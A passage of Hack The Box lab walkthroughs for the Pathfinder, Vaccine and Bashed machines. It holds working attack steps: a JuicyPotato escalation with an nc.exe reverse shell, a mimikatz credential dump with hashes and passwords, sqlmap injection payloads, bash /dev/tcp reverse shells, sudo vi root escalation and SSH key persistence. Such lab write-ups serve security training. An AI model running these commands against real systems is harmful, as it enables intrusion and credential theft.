       [+] 10.10.10.29 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
       [+] 10.10.10.29 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
       [*] Post module execution completed
       ```

       Result: I tried `ms16_032_secondary_logon_handle_privesc` with `x64` meterpreter after changing to `x64` shell from `32 bit` but did not work.
     * Method 2: Search for `windows server 2016 privilege escalation exploit` yields <https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#juicy-potato-abusing-the-golden-privileges> which points to [ohpe/juicy-potato](https://github.com/ohpe/juicy-potato)
     * Method 3: More automated searchers. \*\*[`sherlock`](https://github.com/rasta-mouse/Sherlock) by `rastamouse`

       ```
       sudo python3 -m http.server 80
       msf shell > certutil -urlcache -f http://10.10.15.117/sher.ps1 sher.ps1
       msf shell > powershell.exe -exec bypass -Command "& {Import-Module .\sher.ps1; Find-AllVulns}"
       ```

       Output:

       ```
       Title      : User Mode to Ring (KiTrap0D)
       MSBulletin : MS10-015
       CVEID      : 2010-0232
       Link       : https://www.exploit-db.com/exploits/11199/
       VulnStatus : Not supported on 64-bit systems

       Title      : Task Scheduler .XML
       MSBulletin : MS10-092
       CVEID      : 2010-3338, 2010-3888
       Link       : https://www.exploit-db.com/exploits/19930/
       VulnStatus : Not Vulnerable

       Title      : NTUserMessageCall Win32k Kernel Pool Overflow
       MSBulletin : MS13-053
       CVEID      : 2013-1300
       Link       : https://www.exploit-db.com/exploits/33213/
       VulnStatus : Not supported on 64-bit systems

       Title      : TrackPopupMenuEx Win32k NULL Page
       MSBulletin : MS13-081
       CVEID      : 2013-3881
       Link       : https://www.exploit-db.com/exploits/31576/
       VulnStatus : Not supported on 64-bit systems

       Title      : TrackPopupMenu Win32k Null Pointer Dereference
       MSBulletin : MS14-058
       CVEID      : 2014-4113
       Link       : https://www.exploit-db.com/exploits/35101/
       VulnStatus : Not Vulnerable

       Title      : ClientCopyImage Win32k
       MSBulletin : MS15-051
       CVEID      : 2015-1701, 2015-2433
       Link       : https://www.exploit-db.com/exploits/37367/
       VulnStatus : Not Vulnerable

       Title      : Font Driver Buffer Overflow
       MSBulletin : MS15-078
       CVEID      : 2015-2426, 2015-2433
       Link       : https://www.exploit-db.com/exploits/38222/
       VulnStatus : Not Vulnerable

       Title      : 'mrxdav.sys' WebDAV
       MSBulletin : MS16-016
       CVEID      : 2016-0051
       Link       : https://www.exploit-db.com/exploits/40085/
       VulnStatus : Not supported on 64-bit systems

       Title      : Secondary Logon Handle
       MSBulletin : MS16-032
       CVEID      : 2016-0099
       Link       : https://www.exploit-db.com/exploits/39719/
       VulnStatus : Not Vulnerable

       Title      : Windows Kernel-Mode Drivers EoP
       MSBulletin : MS16-034
       CVEID      : 2016-0093/94/95/96
       Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
                    6-034?
       VulnStatus : Not Vulnerable

       Title      : Win32k Elevation of Privilege
       MSBulletin : MS16-135
       CVEID      : 2016-7255
       Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
                    ample-Exploits/MS16-135
       VulnStatus : Not Vulnerable

       Title      : Nessus Agent 6.6.2 - 6.10.3
       MSBulletin : N/A
       CVEID      : 2017-7199
       Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.h
                    tml
       VulnStatus : Not Vulnerable
       ```

       Result: Not vulnerable

       Trying [pentestmonkey/windows-privesc-check](https://github.com/pentestmonkey/windows-privesc-check):

       ```
       wget https://github.com/pentestmonkey/windows-privesc-check/raw/master/windows-privesc-check2.exe
       sudo python3 -m http.server 80
       msf shell > certutil -urlcache -f http://10.10.15.117/windows-privesc-check2.exe ex.exe
       msf shell > ex.exe --audit -a -o report -v
       ```

       Trying [411Hall/JAWS](https://github.com/411Hall/JAWS):

       ```
       wget https://github.com/411Hall/JAWS/raw/master/jaws-enum.ps1
       sudo python3 -m http.server 80
       msf shell > certutil -urlcache -f http://10.10.15.117/jaws-enum.ps1 jaws.ps1
       msf shell > powershell.exe -ExecutionPolicy Bypass -File .\jaws.ps1
       msf shell > execute -f powershell.exe -a "-ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt"
       ```
   * "Juicy Potato is a variant of the exploit that allows service accounts on Windows to escalate to SYSTEM (highest privileges) by leveraging the BITS and the `SeAssignPrimaryToken` or `SeImpersonate` privilege in a MiTM attack."
   * CLSID List: <https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows\\_Server\\_2016\\_Standard>
   * Manual Escalation

     ```
     wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
     sudo python3 -m http.server 80
     msf > shell
     msf > powershell
     msf > iwr -outf js.exe http://10.10.14.173/JuicyPotato.exe
     ```

     ```
     echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 10.10.14.173 1111 > shell.bat
     js.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337 -c {FFE1E5FE-F1F0-48C8-953E-72BA272F2744}
     ```
   * Automatic Escalation

     ```
     msf > background
     msf > search ms16_075
     msf > use exploit/windows/local/ms16_075_reflection_juicy
     msf > set payload windows/meterpreter/reverse_tcp
     msf > set session 1
     msf > set lhost 10.10.14.173
     msf > set dcom_port 1337
     msf > set CLSID {FFE1E5FE-F1F0-48C8-953E-72BA272F2744}
     msf > set lport 8464
     msf > run
     ```

     Result: `Server username: NT AUTHORITY\SYSTEM`

   ```
   cd C:\Users\Administrator\Desktop
   cat root.txt
   ```

   **Root Flag:** `6e9a9fdc6f64e410a68b847bb4b404fa`
6. Post Exploitation
   * Convert to x64 shell:

     ```
     use post/windows/manage/archmigrate
     set session 2
     set IGNORE_SYSTEM true
     ```
   * Get passwords

     ```
     load kiwi
     meterpreter > kiwi_cmd sekurlsa::logonpasswords
     ```

     Output:

     ```
     Authentication Id : 0 ; 298603 (00000000:00048e6b)
     Session           : Interactive from 1
     User Name         : sandra
     Domain            : MEGACORP
     Logon Server      : PATHFINDER
     Logon Time        : 5/4/2020 10:20:27 PM
     SID               : S-1-5-21-1035856440-4137329016-3276773158-1105
             msv :
              [00000003] Primary
              * Username : sandra
              * Domain   : MEGACORP
              * NTLM     : 29ab86c5c4d2aab957763e5c1720486d
              * SHA1     : 8bd0ccc2a23892a74dfbbbb57f0faa9721562a38
              * DPAPI    : f4c73b3f07c4f309ebf086644254bcbc
             tspkg :
             wdigest :
              * Username : sandra
              * Domain   : MEGACORP
              * Password : (null)
             kerberos :
              * Username : sandra
              * Domain   : MEGACORP.LOCAL
              * Password : Password1234!
             ssp :
             credman :

     Authentication Id : 0 ; 183955 (00000000:0002ce93)
     Session           : Service from 0
     User Name         : DefaultAppPool
     Domain            : IIS APPPOOL
     Logon Server      : (null)
     Logon Time        : 5/4/2020 10:19:24 PM
     SID               : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
             msv :
              [00000003] Primary
              * Username : SHIELD$
              * Domain   : MEGACORP
              * NTLM     : 9d4feee71a4f411bf92a86b523d64437
              * SHA1     : 0ee4dc73f1c40da71a60894eff504cc732de82da
             tspkg :
             wdigest :
              * Username : SHIELD$
              * Domain   : MEGACORP
              * Password : (null)
             kerberos :
              * Username : SHIELD$
              * Domain   : MEGACORP.LOCAL
              * Password : cw)_#JH _gA:]UqNu4XiN`yA'9Z'OuYCxXl]30fY1PaK,AL#ndtjq?]h_8<Kx'\*9e<s`ZV uNjoe Q%\_mX<Eo%lB:NM6@-a+qJt_l887Ew&m_ewr??#VE&
             ssp :
             credman :

     Authentication Id : 0 ; 183792 (00000000:0002cdf0)
     Session           : Service from 0
     User Name         : wordpress
     Domain            : IIS APPPOOL
     Logon Server      : (null)
     Logon Time        : 5/4/2020 10:19:24 PM
     SID               : S-1-5-82-698136220-2753279940-1413493927-70316276-1736946139
             msv :
              [00000003] Primary
              * Username : SHIELD$
              * Domain   : MEGACORP
              * NTLM     : 9d4feee71a4f411bf92a86b523d64437
              * SHA1     : 0ee4dc73f1c40da71a60894eff504cc732de82da
             tspkg :
             wdigest :
              * Username : SHIELD$
              * Domain   : MEGACORP
              * Password : (null)
             kerberos :
              * Username : SHIELD$
              * Domain   : MEGACORP.LOCAL
              * Password : cw)_#JH _gA:]UqNu4XiN`yA'9Z'OuYCxXl]30fY1PaK,AL#ndtjq?]h_8<Kx'\*9e<s`ZV uNjoe Q%\_mX<Eo%lB:NM6@-a+qJt_l887Ew&m_ewr??#VE&
             ssp :
             credman :

     Authentication Id : 0 ; 996 (00000000:000003e4)
     Session           : Service from 0
     User Name         : SHIELD$
     Domain            : MEGACORP
     Logon Server      : (null)
     Logon Time        : 5/4/2020 10:19:01 PM
     SID               : S-1-5-20
             msv :
              [00000003] Primary
              * Username : SHIELD$
              * Domain   : MEGACORP
              * NTLM     : 9d4feee71a4f411bf92a86b523d64437
              * SHA1     : 0ee4dc73f1c40da71a60894eff504cc732de82da
             tspkg :
             wdigest :
              * Username : SHIELD$
              * Domain   : MEGACORP
              * Password : (null)
             kerberos :
              * Username : shield$
              * Domain   : MEGACORP.LOCAL
              * Password : cw)_#JH _gA:]UqNu4XiN`yA'9Z'OuYCxXl]30fY1PaK,AL#ndtjq?]h_8<Kx'\*9e<s`ZV uNjoe Q%\_mX<Eo%lB:NM6@-a+qJt_l887Ew&m_ewr??#VE&
             ssp :
             credman :

     Authentication Id : 0 ; 995 (00000000:000003e3)
     Session           : Service from 0
     User Name         : IUSR
     Domain            : NT AUTHORITY
     Logon Server      : (null)
     Logon Time        : 5/4/2020 10:19:08 PM
     SID               : S-1-5-17
             msv :
             tspkg :
             wdigest :
              * Username : (null)
              * Domain   : (null)
              * Password : (null)
             kerberos :
              * Username : IUSR
              * Domain   : NT AUTHORITY
              * Password : (null)
             ssp :
             credman :

     Authentication Id : 0 ; 997 (00000000:000003e5)
     Session           : Service from 0
     User Name         : LOCAL SERVICE
     Domain            : NT AUTHORITY
     Logon Server      : (null)
     Logon Time        : 5/4/2020 10:19:02 PM
     SID               : S-1-5-19
             msv :
             tspkg :
             wdigest :
              * Username : (null)
              * Domain   : (null)
              * Password : (null)
             kerberos :
              * Username : (null)
              * Domain   : (null)
              * Password : (null)
             ssp :
             credman :

     Authentication Id : 0 ; 65711 (00000000:000100af)
     Session           : Interactive from 1
     User Name         : DWM-1
     Domain            : Window Manager
     Logon Server      : (null)
     Logon Time        : 5/4/2020 10:19:01 PM
     SID               : S-1-5-90-0-1
             msv :
              [00000003] Primary
              * Username : SHIELD$
              * Domain   : MEGACORP
              * NTLM     : 9d4feee71a4f411bf92a86b523d64437
              * SHA1     : 0ee4dc73f1c40da71a60894eff504cc732de82da
             tspkg :
             wdigest :
              * Username : SHIELD$
              * Domain   : MEGACORP
              * Password : (null)
             kerberos :
              * Username : SHIELD$
              * Domain   : MEGACORP.LOCAL
              * Password : cw)_#JH _gA:]UqNu4XiN`yA'9Z'OuYCxXl]30fY1PaK,AL#ndtjq?]h_8<Kx'\*9e<s`ZV uNjoe Q%\_mX<Eo%lB:NM6@-a+qJt_l887Ew&m_ewr??#VE&
             ssp :
             credman :

     Authentication Id : 0 ; 65691 (00000000:0001009b)
     Session           : Interactive from 1
     User Name         : DWM-1
     Domain            : Window Manager
     Logon Server      : (null)
     Logon Time        : 5/4/2020 10:19:01 PM
     SID               : S-1-5-90-0-1
             msv :
              [00000003] Primary
              * Username : SHIELD$
              * Domain   : MEGACORP
              * NTLM     : 9d4feee71a4f411bf92a86b523d64437
              * SHA1     : 0ee4dc73f1c40da71a60894eff504cc732de82da
             tspkg :
             wdigest :
              * Username : SHIELD$
              * Domain   : MEGACORP
              * Password : (null)
             kerberos :
              * Username : SHIELD$
              * Domain   : MEGACORP.LOCAL
              * Password : cw)_#JH _gA:]UqNu4XiN`yA'9Z'OuYCxXl]30fY1PaK,AL#ndtjq?]h_8<Kx'\*9e<s`ZV uNjoe Q%\_mX<Eo%lB:NM6@-a+qJt_l887Ew&m_ewr??#VE&
             ssp :
             credman :

     Authentication Id : 0 ; 36390 (00000000:00008e26)
     Session           : UndefinedLogonType from 0
     User Name         : (null)
     Domain            : (null)
     Logon Server      : (null)
     Logon Time        : 5/4/2020 10:19:00 PM
     SID               : 
             msv :
              [00000003] Primary
              * Username : SHIELD$
              * Domain   : MEGACORP
              * NTLM     : 9d4feee71a4f411bf92a86b523d64437
              * SHA1     : 0ee4dc73f1c40da71a60894eff504cc732de82da
             tspkg :
             wdigest :
             kerberos :
             ssp :
             credman :

     Authentication Id : 0 ; 999 (00000000:000003e7)
     Session           : UndefinedLogonType from 0
     User Name         : SHIELD$
     Domain            : MEGACORP
     Logon Server      : (null)
     Logon Time        : 5/4/2020 10:19:00 PM
     SID               : S-1-5-18
             msv :
             tspkg :
             wdigest :
              * Username : SHIELD$
              * Domain   : MEGACORP
              * Password : (null)
             kerberos :
              * Username : shield$
              * Domain   : MEGACORP.LOCAL
              * Password : cw)_#JH _gA:]UqNu4XiN`yA'9Z'OuYCxXl]30fY1PaK,AL#ndtjq?]h_8<Kx'\*9e<s`ZV uNjoe Q%\_mX<Eo%lB:NM6@-a+qJt_l887Ew&m_ewr??#VE&
             ssp :
             credman :
     ```

     **Result: Credentials** `Sandra:Password1234!`.


# Vaccine

HTB - Vaccine

1. `sudo nmap -T4 -p- -A 10.10.10.46`

   ```
   kali@kali:~$ sudo nmap -T4 -p- -A 10.10.10.46
   Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-04 12:57 EDT
   Nmap scan report for 10.10.10.46
   Host is up (0.12s latency).
   Not shown: 65532 closed ports
   PORT   STATE SERVICE VERSION
   21/tcp open  ftp     vsftpd 3.0.3
   22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
   | ssh-hostkey: 
   |   3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
   |   256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
   |_  256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
   80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
   | http-cookie-flags: 
   |   /: 
   |     PHPSESSID: 
   |_      httponly flag not set
   |_http-server-header: Apache/2.4.41 (Ubuntu)
   |_http-title: MegaCorp Login
   No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
   TCP/IP fingerprint:
   OS:SCAN(V=7.80%E=4%D=5/4%OT=21%CT=1%CU=44138%PV=Y%DS=2%DC=T%G=Y%TM=5EB04B6C
   OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ(
   OS:SP=103%GCD=1%ISR=10E%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
   OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=FE88%W2=F
   OS:E88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW
   OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
   OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
   OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
   OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
   OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

   Network Distance: 2 hops
   Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

   TRACEROUTE (using port 8080/tcp)
   HOP RTT       ADDRESS
   1   171.53 ms 10.10.14.1
   2   98.36 ms  10.10.10.46

   OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
   Nmap done: 1 IP address (1 host up) scanned in 521.25 seconds
   ```
2. Nessus scan for fun Start with `sudo /etc/init.d/nessusd start` and go to `https://kali:8834`
3. Enumerate HTTP
   * Ran `nikto -h http://10.10.10.46`

     ```
     kali@kali:~$ nikto -h http://10.10.10.46
     - Nikto v2.1.6                                                                                                                                           
     ---------------------------------------------------------------------------                                                                              
     + Target IP:          10.10.10.46                                                                                                                        
     + Target Hostname:    10.10.10.46                                                                                                                        
     + Target Port:        80                                                                                                                                  
     + Start Time:         2020-05-04 13:17:07 (GMT-4)                                                                                                          
     ---------------------------------------------------------------------------
     + Server: Apache/2.4.41 (Ubuntu)
     + Cookie PHPSESSID created without the httponly flag
     + The anti-clickjacking X-Frame-Options header is not present.
     + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
     + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
     + No CGI Directories found (use '-C all' to force check all possible dirs)
     + Web Server returns a valid response with junk HTTP methods, this may cause false positives.
     + ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
     + Scan terminated:  19 error(s) and 5 item(s) reported on remote host
     + End Time:           2020-05-04 13:26:06 (GMT-4) (539 seconds)
     ---------------------------------------------------------------------------
     + 1 host(s) tested


           *********************************************************************
           Portions of the server's headers (Apache/2.4.41) are not in
           the Nikto 2.1.6 database or are newer than the known string. Would you like
           to submit this information (*no server specific data*) to CIRT.net
           for a Nikto update (or you may email to sullo@cirt.net) (y/n)? y

     + The anti-clickjacking X-Frame-Options header is not present.
     + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
     + The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
     + The site uses SSL and Expect-CT header is not present.
     - Sent updated info to cirt.net -- Thank you!
     ```
   * Ran `dirbuster` with `http://10.10.10.46:80`, wordlist `/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt` ![Screenshot-20200504134337-768x544.png](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-f63e1fef6789598ef64ec38bd2a5ac69e2b23258%2Fb7a40967cb314b8ca6fba9efac4a0b9a.png?alt=media)

     ```
     DirBuster 1.0-RC1 - Report
     http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
     Report produced on Mon May 04 13:44:16 EDT 2020
     --------------------------------

     http://10.10.10.46:80
     --------------------------------
     Directories found during testing:

     Dirs found with a 200 response:

     /

     Dirs found with a 403 response:

     /icons/
     /icons/small/


     --------------------------------
     Files found during testing:

     Files found with a 200 responce:

     /index.php

     Files found with a 302 responce:

     /dashboard.php


     --------------------------------
     ```
4. Enumerate FTP
   * Try `ftpuser:mc@F1l3ZilL4` from `opsie` machine:

     ```
     ftp 10.10.10.46
     ftpuser
     mc@F1l3ZilL4
     dir
     get backup.zip
     ```

     Result: A file named backup.zip is found in the folder. Extraction of the archive fails as it's password protected.
   * Password cracking: The password can be cracked using JohntheRipper and rockyou.txt.

     ```
     sudo zip2john backup.zip > hash
     gunzip /usr/share/wordlists/rockyou.txt.gz
     sudo john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt
     ```

     Output:

     ```
     kali@kali:~$ sudo john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt
     Using default input encoding: UTF-8
     Loaded 1 password hash (PKZIP [32/64])
     Node numbers 1-4 of 4 (fork)
     Press 'q' or Ctrl-C to abort, almost any other key for status
     741852963        (backup.zip)
     1 1g 0:00:00:00 DONE (2020-05-04 13:38) 33.33g/s 8533p/s 8533c/s 8533C/s football1..simpleplan
     Waiting for 3 children to terminate
     2 0g 0:00:00:00 DONE (2020-05-04 13:38) 0g/s 5121Kp/s 5121Kc/s 5121KC/s  derrickak47.abygurl69
     3 0g 0:00:00:00 DONE (2020-05-04 13:38) 0g/s 5049Kp/s 5049Kc/s 5049KC/s  brian89.a6_123
     4 0g 0:00:00:00 DONE (2020-05-04 13:38) 0g/s 5272Kp/s 5272Kc/s 5272KC/s  mar ..*7¡Vamos!
     Use the "--show" option to display all of the cracked passwords reliably
     Session completed
     ```

     **ZIP Password:** `741852963`
   * Extracting it's contents using the password reveals a PHP file and a CSS file. `index.php` contains:

     ```
     <?php
     session_start();
       if(isset($_POST['username']) && isset($_POST['password'])) {
         if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
           $_SESSION['login'] = "true";
           header("Location: dashboard.php");
         }
       }
     ?>
     ```

     Result: The input password is hashed and compared to the MD5 hash: `2cb42f8734ea607eefed3b70af13bbd3`.
   * This hash can be easily cracked using an online rainbow table such as [crackstation](https://crackstation.net/). Result: password is `qwerty789`
5. Foothold
   * Browsing to port 80, we can see a login page for MegaCorp. The credentials `admin:qwerty789` can be used to login. ![Screenshot-20200504141424-1486x658.png](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-3190bde859155c26d496270962ae4d5c456bf192%2Fd63ff367aaaa434ba634cb5b45943662.png?alt=media)
   * Search parameter in URL: `http://10.10.10.46/dashboard.php?search=a`
   * Get PHP Session ID: `PHPSESSID:"lkktfc22hu9uer2mlo36ngk6db"` ![Screenshot-20200504142202-1850x419.png](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-1cfa169c419b7d30ff698bd43f1aad18648904ee%2F2f51b07834234d5ba833ad185aa68a6d.png?alt=media)
   * Scan for SQL injection with metasploit

     ```
     sudo msfconsole
     use auxiliary/scanner/http/blind_sql_query
     set rhosts 10.10.10.46
     set cookie PHPSESSID=lkktfc22hu9uer2mlo36ngk6db
     set path dashboard.php
     set query search=
     ```

     Result: System is vulnerable
   * SQL injection scan with `sqlmap`:

     ```
     sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=lkktfc22hu9uer2mlo36ngk6db"
     ```

     Output:

     ```
     		___                                                                                                                                             
            __H__                                                                                                                                            
      ___ ___[,]_____ ___ ___  {1.4.4#stable}                                                                                                                 
     |_ -| . [.]     | .'| . |                                                                                                                                 
     |___|_  [(]_|_|_|__,|  _|                                                                                                                                 
           |_|V...       |_|   http://sqlmap.org                                                                                                                

     [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

     [*] starting @ 14:40:35 /2020-05-04/

     [14:40:36] [INFO] testing connection to the target URL
     [14:40:37] [INFO] checking if the target is protected by some kind of WAF/IPS
     [14:40:37] [INFO] testing if the target URL content is stable
     [14:40:37] [INFO] target URL content is stable
     [14:40:37] [INFO] testing if GET parameter 'search' is dynamic
     [14:40:37] [INFO] GET parameter 'search' appears to be dynamic
     [14:40:38] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
     [14:40:38] [INFO] heuristic (XSS) test shows that GET parameter 'search' might be vulnerable to cross-site scripting (XSS) attacks
     [14:40:38] [INFO] testing for SQL injection on GET parameter 'search'
     it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
     for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided level (1) and risk (1) values? [Y/n] y
     [14:40:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
     [14:40:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
     [14:40:58] [INFO] testing 'Generic inline queries'
     [14:40:58] [INFO] testing 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)'
     [14:40:59] [INFO] GET parameter 'search' appears to be 'PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)' injectable (with --string="SUV")
     [14:40:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
     [14:40:59] [INFO] GET parameter 'search' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable 
     [14:40:59] [INFO] testing 'PostgreSQL inline queries'
     [14:40:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
     [14:40:59] [WARNING] time-based comparison requires larger statistical model, please wait....... (done)                                                   
     [14:41:11] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable 
     [14:41:11] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
     [14:41:22] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 AND time-based blind' injectable 
     [14:41:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
     GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
     sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
     ---
     Parameter: search (GET)
         Type: boolean-based blind
         Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
         Payload: search=a' AND (SELECT (CASE WHEN (6618=6618) THEN NULL ELSE CAST((CHR(72)||CHR(84)||CHR(90)||CHR(68)) AS NUMERIC) END)) IS NULL-- HbYa

         Type: error-based
         Title: PostgreSQL AND error-based - WHERE or HAVING clause
         Payload: search=a' AND 9347=CAST((CHR(113)||CHR(120)||CHR(98)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (9347=9347) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(107)||CHR(120)||CHR(122)||CHR(113)) AS NUMERIC)-- pilT

         Type: stacked queries
         Title: PostgreSQL > 8.1 stacked queries (comment)
         Payload: search=a';SELECT PG_SLEEP(5)--

         Type: time-based blind
         Title: PostgreSQL > 8.1 AND time-based blind
         Payload: search=a' AND 2680=(SELECT 2680 FROM PG_SLEEP(5))-- vQzW
     ---
     [14:41:29] [INFO] the back-end DBMS is PostgreSQL
     back-end DBMS: PostgreSQL
     [14:41:30] [INFO] fetched data logged to text files under '/home/kali/.sqlmap/output/10.10.10.46'

     [*] ending @ 14:41:30 /2020-05-04/
     ```

     Sqlmap found the page to be vulnerable to multiple injections, and identified the backend DBMS to be PostgreSQL. Getting code execution in postgres is trivial using the `--os-shell` command.
   * Exploit: `sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=0fn7flfi1tt116v52ahvfh8in3" --os-shell` --os-pwn Result: Failed forever
   * Exploit 2: `sqlmap -u 'http://10.10.10.46/dashboard.php?search=a' --cookie="PHPSESSID=0fn7flfi1tt116v52ahvfh8in3" --os-shell --safe-url http://google.com --keep-alive --dbms PostgreSQL --safe-freq 3` Result: Popped a shell
   * Let's upgrade to a tty shell and continue enumeration: `SHELL=/bin/bash script -q /dev/null`
   * Form reverse meterpreter

     ```
     sudo msfconsole
     use exploit/multi/handler
     set lhost 10.10.15.117
     set lport 46152
     set payload linux/x86/shell/reverse_tcp
     run
     ```
   * Bash reverse shell

     ```
     bash -c 'bash -i >& /dev/tcp/10.10.15.117/46152 0>&1'
     ```
6. Privilege Escalation
   1. Looking at the source code of dashboard.php in /var/www/html reveals the postgres password to be: P\@s5w0rd!.
   2. Looking at the source code of dashboard.php in `/var/www/html` reveals the postgres password to be: `P@s5w0rd!`.

      ```
      try {
        $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
      }
      ```
   3. Run `SHELL=/bin/bash script -q /dev/null` again or try `python3 -c 'import pty; pty.spawn("/bin/bash")'`
   4. This password can be used to view the user's sudo privileges: `sudo -l`:

      ```
      sudo -l
      [sudo] password for postgres: P@s5w0rd!

      Matching Defaults entries for postgres on vaccine:
          env_reset, mail_badpass,
          secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

      User postgres may run the following commands on vaccine:
          (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
      ```
   5. User is allowed to edit a file using vi as root, which can spawn a root shell: `sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf`. Press escape to enter normal mode then type `:` to enter command-line mode and enter `!/bin/bash` to get root shell
   6. Get more stable shell
      * Form reverse meterpreter

        ```
        sudo msfconsole
        use exploit/multi/handler
        set lhost 10.10.15.117
        set lport 7845
        set payload linux/x86/shell/reverse_tcp
        run
        ```
      * Bash reverse shell

        ```
        bash -c 'bash -i >& /dev/tcp/10.10.15.117/7845 0>&1'
        ```
   7. Upgrade to meterpreter

      ```
      use post/multi/manage/shell_to_meterpreter
      set session 1
      run
      ```
   8. Allow access in at any time with SSH

      ```
      use post/linux/manage/sshkey_persistence
      set session 2
      run
      ```

      And then in normal attacker prompt:

      ```
      sudo chmod 400 /root/.msf4/loot/20200506014922_default_10.10.10.46_id_rsa_956218.txt
      sudo ssh -o "IdentitiesOnly=yes" -i /root/.msf4/loot/20200506014922_default_10.10.10.46_id_rsa_956218.txt root@10.10.10.46
      ```
   9. Get Flag

      ```
      root@vaccine:~# cat root.txt
      dd6e058e814260bc70e9bbdef2715849
      ```


# Bashed

HTB 8. Bashed

1. `nmap -A -T4 -p- 10.10.10.68` shows port 80 with `Apache httpd 2.4.18 (Ubuntu)`.
2. `searchsploit apache 2.4` reveals local `apache_ctl` exploit.
3. Going to website `10.10.10.68` and looking at content shows that `10.10.10.68/uploads`. exists.
4. `dirbuster` time with medium wordlist which reveals several folders.
